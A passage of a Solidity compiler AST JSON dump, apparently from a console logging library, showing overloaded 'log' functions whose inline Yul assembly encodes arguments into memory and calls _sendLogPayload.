store","nativeSrc":"102370:6:22","nodeType":"YulIdentifier","src":"102370:6:22"},"nativeSrc":"102370:16:22","nodeType":"YulFunctionCall","src":"102370:16:22"},"nativeSrc":"102370:16:22","nodeType":"YulExpressionStatement","src":"102370:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37018,"isOffset":false,"isSlot":false,"src":"102267:2:22","valueSize":1},{"declaration":37021,"isOffset":false,"isSlot":false,"src":"102296:2:22","valueSize":1},{"declaration":37024,"isOffset":false,"isSlot":false,"src":"102325:2:22","valueSize":1},{"declaration":37027,"isOffset":false,"isSlot":false,"src":"102354:2:22","valueSize":1},{"declaration":37030,"isOffset":false,"isSlot":false,"src":"102383:2:22","valueSize":1}],"id":37038,"nodeType":"InlineAssembly","src":"102231:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"101625:3:22","parameters":{"id":37015,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37008,"mutability":"mutable","name":"p0","nameLocation":"101637:2:22","nodeType":"VariableDeclaration","scope":37040,"src":"101629:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37007,"name":"address","nodeType":"ElementaryTypeName","src":"101629:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37010,"mutability":"mutable","name":"p1","nameLocation":"101646:2:22","nodeType":"VariableDeclaration","scope":37040,"src":"101641:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37009,"name":"bool","nodeType":"ElementaryTypeName","src":"101641:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37012,"mutability":"mutable","name":"p2","nameLocation":"101658:2:22","nodeType":"VariableDeclaration","scope":37040,"src":"101650:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37011,"name":"address","nodeType":"ElementaryTypeName","src":"101650:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37014,"mutability":"mutable","name":"p3","nameLocation":"101670:2:22","nodeType":"VariableDeclaration","scope":37040,"src":"101662:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37013,"name":"uint256","nodeType":"ElementaryTypeName","src":"101662:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"101628:45:22"},"returnParameters":{"id":37016,"nodeType":"ParameterList","parameters":[],"src":"101688:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37080,"nodeType":"FunctionDefinition","src":"102408:1334:22","nodes":[],"body":{"id":37079,"nodeType":"Block","src":"102480:1262:22","nodes":[],"statements":[{"assignments":[37052],"declarations":[{"constant":false,"id":37052,"mutability":"mutable","name":"m0","nameLocation":"102498:2:22","nodeType":"VariableDeclaration","scope":37079,"src":"102490:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37051,"name":"bytes32","nodeType":"ElementaryTypeName","src":"102490:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37053,"nodeType":"VariableDeclarationStatement","src":"102490:10:22"},{"assignments":[37055],"declarations":[{"constant":false,"id":37055,"mutability":"mutable","name":"m1","nameLocation":"102518:2:22","nodeType":"VariableDeclaration","scope":37079,"src":"102510:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37054,"name":"bytes32","nodeType":"ElementaryTypeName","src":"102510:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37056,"nodeType":"VariableDeclarationStatement","src":"102510:10:22"},{"assignments":[37058],"declarations":[{"constant":false,"id":37058,"mutability":"mutable","name":"m2","nameLocation":"102538:2:22","nodeType":"VariableDeclaration","scope":37079,"src":"102530:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37057,"name":"bytes32","nodeType":"ElementaryTypeName","src":"102530:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37059,"nodeType":"VariableDeclarationStatement","src":"102530:10:22"},{"assignments":[37061],"declarations":[{"constant":false,"id":37061,"mutability":"mutable","name":"m3","nameLocation":"102558:2:22","nodeType":"VariableDeclaration","scope":37079,"src":"102550:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37060,"name":"bytes32","nodeType":"ElementaryTypeName","src":"102550:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37062,"nodeType":"VariableDeclarationStatement","src":"102550:10:22"},{"assignments":[37064],"declarations":[{"constant":false,"id":37064,"mutability":"mutable","name":"m4","nameLocation":"102578:2:22","nodeType":"VariableDeclaration","scope":37079,"src":"102570:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37063,"name":"bytes32","nodeType":"ElementaryTypeName","src":"102570:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37065,"nodeType":"VariableDeclarationStatement","src":"102570:10:22"},{"assignments":[37067],"declarations":[{"constant":false,"id":37067,"mutability":"mutable","name":"m5","nameLocation":"102598:2:22","nodeType":"VariableDeclaration","scope":37079,"src":"102590:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37066,"name":"bytes32","nodeType":"ElementaryTypeName","src":"102590:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37068,"nodeType":"VariableDeclarationStatement","src":"102590:10:22"},{"assignments":[37070],"declarations":[{"constant":false,"id":37070,"mutability":"mutable","name":"m6","nameLocation":"102618:2:22","nodeType":"VariableDeclaration","scope":37079,"src":"102610:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37069,"name":"bytes32","nodeType":"ElementaryTypeName","src":"102610:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37071,"nodeType":"VariableDeclarationStatement","src":"102610:10:22"},{"AST":{"nativeSrc":"102639:828:22","nodeType":"YulBlock","src":"102639:828:22","statements":[{"body":{"nativeSrc":"102682:313:22","nodeType":"YulBlock","src":"102682:313:22","statements":[{"nativeSrc":"102700:15:22","nodeType":"YulVariableDeclaration","src":"102700:15:22","value":{"kind":"number","nativeSrc":"102714:1:22","nodeType":"YulLiteral","src":"102714:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"102704:6:22","nodeType":"YulTypedName","src":"102704:6:22","type":""}]},{"body":{"nativeSrc":"102785:40:22","nodeType":"YulBlock","src":"102785:40:22","statements":[{"body":{"nativeSrc":"102814:9:22","nodeType":"YulBlock","src":"102814:9:22","statements":[{"nativeSrc":"102816:5:22","nodeType":"YulBreak","src":"102816:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"102802:6:22","nodeType":"YulIdentifier","src":"102802:6:22"},{"name":"w","nativeSrc":"102810:1:22","nodeType":"YulIdentifier","src":"102810:1:22"}],"functionName":{"name":"byte","nativeSrc":"102797:4:22","nodeType":"YulIdentifier","src":"102797:4:22"},"nativeSrc":"102797:15:22","nodeType":"YulFunctionCall","src":"102797:15:22"}],"functionName":{"name":"iszero","nativeSrc":"102790:6:22","nodeType":"YulIdentifier","src":"102790:6:22"},"nativeSrc":"102790:23:22","nodeType":"YulFunctionCall","src":"102790:23:22"},"nativeSrc":"102787:36:22","nodeType":"YulIf","src":"102787:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"102742:6:22","nodeType":"YulIdentifier","src":"102742:6:22"},{"kind":"number","nativeSrc":"102750:4:22","nodeType":"YulLiteral","src":"102750:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"102739:2:22","nodeType":"YulIdentifier","src":"102739:2:22"},"nativeSrc":"102739:16:22","nodeType":"YulFunctionCall","src":"102739:16:22"},"nativeSrc":"102732:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"102756:28:22","nodeType":"YulBlock","src":"102756:28:22","statements":[{"nativeSrc":"102758:24:22","nodeType":"YulAssignment","src":"102758:24:22","value":{"arguments":[{"name":"length","nativeSrc":"102772:6:22","nodeType":"YulIdentifier","src":"102772:6:22"},{"kind":"number","nativeSrc":"102780:1:22","nodeType":"YulLiteral","src":"102780:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"102768:3:22","nodeType":"YulIdentifier","src":"102768:3:22"},"nativeSrc":"102768:14:22","nodeType":"YulFunctionCall","src":"102768:14:22"},"variableNames":[{"name":"length","nativeSrc":"102758:6:22","nodeType":"YulIdentifier","src":"102758:6:22"}]}]},"pre":{"nativeSrc":"102736:2:22","nodeType":"YulBlock","src":"102736:2:22","statements":[]},"src":"102732:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"102849:3:22","nodeType":"YulIdentifier","src":"102849:3:22"},{"name":"length","nativeSrc":"102854:6:22","nodeType":"YulIdentifier","src":"102854:6:22"}],"functionName":{"name":"mstore","nativeSrc":"102842:6:22","nodeType":"YulIdentifier","src":"102842:6:22"},"nativeSrc":"102842:19:22","nodeType":"YulFunctionCall","src":"102842:19:22"},"nativeSrc":"102842:19:22","nodeType":"YulExpressionStatement","src":"102842:19:22"},{"nativeSrc":"102878:37:22","nodeType":"YulVariableDeclaration","src":"102878:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"102895:3:22","nodeType":"YulLiteral","src":"102895:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"102904:1:22","nodeType":"YulLiteral","src":"102904:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"102907:6:22","nodeType":"YulIdentifier","src":"102907:6:22"}],"functionName":{"name":"shl","nativeSrc":"102900:3:22","nodeType":"YulIdentifier","src":"102900:3:22"},"nativeSrc":"102900:14:22","nodeType":"YulFunctionCall","src":"102900:14:22"}],"functionName":{"name":"sub","nativeSrc":"102891:3:22","nodeType":"YulIdentifier","src":"102891:3:22"},"nativeSrc":"102891:24:22","nodeType":"YulFunctionCall","src":"102891:24:22"},"variables":[{"name":"shift","nativeSrc":"102882:5:22","nodeType":"YulTypedName","src":"102882:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"102943:3:22","nodeType":"YulIdentifier","src":"102943:3:22"},{"kind":"number","nativeSrc":"102948:4:22","nodeType":"YulLiteral","src":"102948:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"102939:3:22","nodeType":"YulIdentifier","src":"102939:3:22"},"nativeSrc":"102939:14:22","nodeType":"YulFunctionCall","src":"102939:14:22"},{"arguments":[{"name":"shift","nativeSrc":"102959:5:22","nodeType":"YulIdentifier","src":"102959:5:22"},{"arguments":[{"name":"shift","nativeSrc":"102970:5:22","nodeType":"YulIdentifier","src":"102970:5:22"},{"name":"w","nativeSrc":"102977:1:22","nodeType":"YulIdentifier","src":"102977:1:22"}],"functionName":{"name":"shr","nativeSrc":"102966:3:22","nodeType":"YulIdentifier","src":"102966:3:22"},"nativeSrc":"102966:13:22","nodeType":"YulFunctionCall","src":"102966:13:22"}],"functionName":{"name":"shl","nativeSrc":"102955:3:22","nodeType":"YulIdentifier","src":"102955:3:22"},"nativeSrc":"102955:25:22","nodeType":"YulFunctionCall","src":"102955:25:22"}],"functionName":{"name":"mstore","nativeSrc":"102932:6:22","nodeType":"YulIdentifier","src":"102932:6:22"},"nativeSrc":"102932:49:22","nodeType":"YulFunctionCall","src":"102932:49:22"},"nativeSrc":"102932:49:22","nodeType":"YulExpressionStatement","src":"102932:49:22"}]},"name":"writeString","nativeSrc":"102653:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"102674:3:22","nodeType":"YulTypedName","src":"102674:3:22","type":""},{"name":"w","nativeSrc":"102679:1:22","nodeType":"YulTypedName","src":"102679:1:22","type":""}],"src":"102653:342:22"},{"nativeSrc":"103008:17:22","nodeType":"YulAssignment","src":"103008:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"103020:4:22","nodeType":"YulLiteral","src":"103020:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"103014:5:22","nodeType":"YulIdentifier","src":"103014:5:22"},"nativeSrc":"103014:11:22","nodeType":"YulFunctionCall","src":"103014:11:22"},"variableNames":[{"name":"m0","nativeSrc":"103008:2:22","nodeType":"YulIdentifier","src":"103008:2:22"}]},{"nativeSrc":"103038:17:22","nodeType":"YulAssignment","src":"103038:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"103050:4:22","nodeType":"YulLiteral","src":"103050:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"103044:5:22","nodeType":"YulIdentifier","src":"103044:5:22"},"nativeSrc":"103044:11:22","nodeType":"YulFunctionCall","src":"103044:11:22"},"variableNames":[{"name":"m1","nativeSrc":"103038:2:22","nodeType":"YulIdentifier","src":"103038:2:22"}]},{"nativeSrc":"103068:17:22","nodeType":"YulAssignment","src":"103068:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"103080:4:22","nodeType":"YulLiteral","src":"103080:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"103074:5:22","nodeType":"YulIdentifier","src":"103074:5:22"},"nativeSrc":"103074:11:22","nodeType":"YulFunctionCall","src":"103074:11:22"},"variableNames":[{"name":"m2","nativeSrc":"103068:2:22","nodeType":"YulIdentifier","src":"103068:2:22"}]},{"nativeSrc":"103098:17:22","nodeType":"YulAssignment","src":"103098:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"103110:4:22","nodeType":"YulLiteral","src":"103110:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"103104:5:22","nodeType":"YulIdentifier","src":"103104:5:22"},"nativeSrc":"103104:11:22","nodeType":"YulFunctionCall","src":"103104:11:22"},"variableNames":[{"name":"m3","nativeSrc":"103098:2:22","nodeType":"YulIdentifier","src":"103098:2:22"}]},{"nativeSrc":"103128:17:22","nodeType":"YulAssignment","src":"103128:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"103140:4:22","nodeType":"YulLiteral","src":"103140:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"103134:5:22","nodeType":"YulIdentifier","src":"103134:5:22"},"nativeSrc":"103134:11:22","nodeType":"YulFunctionCall","src":"103134:11:22"},"variableNames":[{"name":"m4","nativeSrc":"103128:2:22","nodeType":"YulIdentifier","src":"103128:2:22"}]},{"nativeSrc":"103158:17:22","nodeType":"YulAssignment","src":"103158:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"103170:4:22","nodeType":"YulLiteral","src":"103170:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"103164:5:22","nodeType":"YulIdentifier","src":"103164:5:22"},"nativeSrc":"103164:11:22","nodeType":"YulFunctionCall","src":"103164:11:22"},"variableNames":[{"name":"m5","nativeSrc":"103158:2:22","nodeType":"YulIdentifier","src":"103158:2:22"}]},{"nativeSrc":"103188:17:22","nodeType":"YulAssignment","src":"103188:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"103200:4:22","nodeType":"YulLiteral","src":"103200:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"103194:5:22","nodeType":"YulIdentifier","src":"103194:5:22"},"nativeSrc":"103194:11:22","nodeType":"YulFunctionCall","src":"103194:11:22"},"variableNames":[{"name":"m6","nativeSrc":"103188:2:22","nodeType":"YulIdentifier","src":"103188:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"103288:4:22","nodeType":"YulLiteral","src":"103288:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"103294:10:22","nodeType":"YulLiteral","src":"103294:10:22","type":"","value":"0x2dd778e6"}],"functionName":{"name":"mstore","nativeSrc":"103281:6:22","nodeType":"YulIdentifier","src":"103281:6:22"},"nativeSrc":"103281:24:22","nodeType":"YulFunctionCall","src":"103281:24:22"},"nativeSrc":"103281:24:22","nodeType":"YulExpressionStatement","src":"103281:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"103325:4:22","nodeType":"YulLiteral","src":"103325:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"103331:2:22","nodeType":"YulIdentifier","src":"103331:2:22"}],"functionName":{"name":"mstore","nativeSrc":"103318:6:22","nodeType":"YulIdentifier","src":"103318:6:22"},"nativeSrc":"103318:16:22","nodeType":"YulFunctionCall","src":"103318:16:22"},"nativeSrc":"103318:16:22","nodeType":"YulExpressionStatement","src":"103318:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"103354:4:22","nodeType":"YulLiteral","src":"103354:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"103360:2:22","nodeType":"YulIdentifier","src":"103360:2:22"}],"functionName":{"name":"mstore","nativeSrc":"103347:6:22","nodeType":"YulIdentifier","src":"103347:6:22"},"nativeSrc":"103347:16:22","nodeType":"YulFunctionCall","src":"103347:16:22"},"nativeSrc":"103347:16:22","nodeType":"YulExpressionStatement","src":"103347:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"103383:4:22","nodeType":"YulLiteral","src":"103383:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"103389:2:22","nodeType":"YulIdentifier","src":"103389:2:22"}],"functionName":{"name":"mstore","nativeSrc":"103376:6:22","nodeType":"YulIdentifier","src":"103376:6:22"},"nativeSrc":"103376:16:22","nodeType":"YulFunctionCall","src":"103376:16:22"},"nativeSrc":"103376:16:22","nodeType":"YulExpressionStatement","src":"103376:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"103412:4:22","nodeType":"YulLiteral","src":"103412:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"103418:4:22","nodeType":"YulLiteral","src":"103418:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"103405:6:22","nodeType":"YulIdentifier","src":"103405:6:22"},"nativeSrc":"103405:18:22","nodeType":"YulFunctionCall","src":"103405:18:22"},"nativeSrc":"103405:18:22","nodeType":"YulExpressionStatement","src":"103405:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"103448:4:22","nodeType":"YulLiteral","src":"103448:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"103454:2:22","nodeType":"YulIdentifier","src":"103454:2:22"}],"functionName":{"name":"writeString","nativeSrc":"103436:11:22","nodeType":"YulIdentifier","src":"103436:11:22"},"nativeSrc":"103436:21:22","nodeType":"YulFunctionCall","src":"103436:21:22"},"nativeSrc":"103436:21:22","nodeType":"YulExpressionStatement","src":"103436:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37052,"isOffset":false,"isSlot":false,"src":"103008:2:22","valueSize":1},{"declaration":37055,"isOffset":false,"isSlot":false,"src":"103038:2:22","valueSize":1},{"declaration":37058,"isOffset":false,"isSlot":false,"src":"103068:2:22","valueSize":1},{"declaration":37061,"isOffset":false,"isSlot":false,"src":"103098:2:22","valueSize":1},{"declaration":37064,"isOffset":false,"isSlot":false,"src":"103128:2:22","valueSize":1},{"declaration":37067,"isOffset":false,"isSlot":false,"src":"103158:2:22","valueSize":1},{"declaration":37070,"isOffset":false,"isSlot":false,"src":"103188:2:22","valueSize":1},{"declaration":37042,"isOffset":false,"isSlot":false,"src":"103331:2:22","valueSize":1},{"declaration":37044,"isOffset":false,"isSlot":false,"src":"103360:2:22","valueSize":1},{"declaration":37046,"isOffset":false,"isSlot":false,"src":"103389:2:22","valueSize":1},{"declaration":37048,"isOffset":false,"isSlot":false,"src":"103454:2:22","valueSize":1}],"id":37072,"nodeType":"InlineAssembly","src":"102630:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37074,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"103492:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":37075,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"103498:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":37073,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"103476:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37076,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"103476:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37077,"nodeType":"ExpressionStatement","src":"103476:27:22"},{"AST":{"nativeSrc":"103522:214:22","nodeType":"YulBlock","src":"103522:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"103543:4:22","nodeType":"YulLiteral","src":"103543:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"103549:2:22","nodeType":"YulIdentifier","src":"103549:2:22"}],"functionName":{"name":"mstore","nativeSrc":"103536:6:22","nodeType":"YulIdentifier","src":"103536:6:22"},"nativeSrc":"103536:16:22","nodeType":"YulFunctionCall","src":"103536:16:22"},"nativeSrc":"103536:16:22","nodeType":"YulExpressionStatement","src":"103536:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"103572:4:22","nodeType":"YulLiteral","src":"103572:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"103578:2:22","nodeType":"YulIdentifier","src":"103578:2:22"}],"functionName":{"name":"mstore","nativeSrc":"103565:6:22","nodeType":"YulIdentifier","src":"103565:6:22"},"nativeSrc":"103565:16:22","nodeType":"YulFunctionCall","src":"103565:16:22"},"nativeSrc":"103565:16:22","nodeType":"YulExpressionStatement","src":"103565:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"103601:4:22","nodeType":"YulLiteral","src":"103601:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"103607:2:22","nodeType":"YulIdentifier","src":"103607:2:22"}],"functionName":{"name":"mstore","nativeSrc":"103594:6:22","nodeType":"YulIdentifier","src":"103594:6:22"},"nativeSrc":"103594:16:22","nodeType":"YulFunctionCall","src":"103594:16:22"},"nativeSrc":"103594:16:22","nodeType":"YulExpressionStatement","src":"103594:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"103630:4:22","nodeType":"YulLiteral","src":"103630:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"103636:2:22","nodeType":"YulIdentifier","src":"103636:2:22"}],"functionName":{"name":"mstore","nativeSrc":"103623:6:22","nodeType":"YulIdentifier","src":"103623:6:22"},"nativeSrc":"103623:16:22","nodeType":"YulFunctionCall","src":"103623:16:22"},"nativeSrc":"103623:16:22","nodeType":"YulExpressionStatement","src":"103623:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"103659:4:22","nodeType":"YulLiteral","src":"103659:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"103665:2:22","nodeType":"YulIdentifier","src":"103665:2:22"}],"functionName":{"name":"mstore","nativeSrc":"103652:6:22","nodeType":"YulIdentifier","src":"103652:6:22"},"nativeSrc":"103652:16:22","nodeType":"YulFunctionCall","src":"103652:16:22"},"nativeSrc":"103652:16:22","nodeType":"YulExpressionStatement","src":"103652:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"103688:4:22","nodeType":"YulLiteral","src":"103688:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"103694:2:22","nodeType":"YulIdentifier","src":"103694:2:22"}],"functionName":{"name":"mstore","nativeSrc":"103681:6:22","nodeType":"YulIdentifier","src":"103681:6:22"},"nativeSrc":"103681:16:22","nodeType":"YulFunctionCall","src":"103681:16:22"},"nativeSrc":"103681:16:22","nodeType":"YulExpressionStatement","src":"103681:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"103717:4:22","nodeType":"YulLiteral","src":"103717:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"103723:2:22","nodeType":"YulIdentifier","src":"103723:2:22"}],"functionName":{"name":"mstore","nativeSrc":"103710:6:22","nodeType":"YulIdentifier","src":"103710:6:22"},"nativeSrc":"103710:16:22","nodeType":"YulFunctionCall","src":"103710:16:22"},"nativeSrc":"103710:16:22","nodeType":"YulExpressionStatement","src":"103710:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37052,"isOffset":false,"isSlot":false,"src":"103549:2:22","valueSize":1},{"declaration":37055,"isOffset":false,"isSlot":false,"src":"103578:2:22","valueSize":1},{"declaration":37058,"isOffset":false,"isSlot":false,"src":"103607:2:22","valueSize":1},{"declaration":37061,"isOffset":false,"isSlot":false,"src":"103636:2:22","valueSize":1},{"declaration":37064,"isOffset":false,"isSlot":false,"src":"103665:2:22","valueSize":1},{"declaration":37067,"isOffset":false,"isSlot":false,"src":"103694:2:22","valueSize":1},{"declaration":37070,"isOffset":false,"isSlot":false,"src":"103723:2:22","valueSize":1}],"id":37078,"nodeType":"InlineAssembly","src":"103513:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"102417:3:22","parameters":{"id":37049,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37042,"mutability":"mutable","name":"p0","nameLocation":"102429:2:22","nodeType":"VariableDeclaration","scope":37080,"src":"102421:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37041,"name":"address","nodeType":"ElementaryTypeName","src":"102421:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37044,"mutability":"mutable","name":"p1","nameLocation":"102438:2:22","nodeType":"VariableDeclaration","scope":37080,"src":"102433:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37043,"name":"bool","nodeType":"ElementaryTypeName","src":"102433:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37046,"mutability":"mutable","name":"p2","nameLocation":"102450:2:22","nodeType":"VariableDeclaration","scope":37080,"src":"102442:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37045,"name":"address","nodeType":"ElementaryTypeName","src":"102442:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37048,"mutability":"mutable","name":"p3","nameLocation":"102462:2:22","nodeType":"VariableDeclaration","scope":37080,"src":"102454:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37047,"name":"bytes32","nodeType":"ElementaryTypeName","src":"102454:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"102420:45:22"},"returnParameters":{"id":37050,"nodeType":"ParameterList","parameters":[],"src":"102480:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37114,"nodeType":"FunctionDefinition","src":"103748:780:22","nodes":[],"body":{"id":37113,"nodeType":"Block","src":"103817:711:22","nodes":[],"statements":[{"assignments":[37092],"declarations":[{"constant":false,"id":37092,"mutability":"mutable","name":"m0","nameLocation":"103835:2:22","nodeType":"VariableDeclaration","scope":37113,"src":"103827:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37091,"name":"bytes32","nodeType":"ElementaryTypeName","src":"103827:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37093,"nodeType":"VariableDeclarationStatement","src":"103827:10:22"},{"assignments":[37095],"declarations":[{"constant":false,"id":37095,"mutability":"mutable","name":"m1","nameLocation":"103855:2:22","nodeType":"VariableDeclaration","scope":37113,"src":"103847:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37094,"name":"bytes32","nodeType":"ElementaryTypeName","src":"103847:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37096,"nodeType":"VariableDeclarationStatement","src":"103847:10:22"},{"assignments":[37098],"declarations":[{"constant":false,"id":37098,"mutability":"mutable","name":"m2","nameLocation":"103875:2:22","nodeType":"VariableDeclaration","scope":37113,"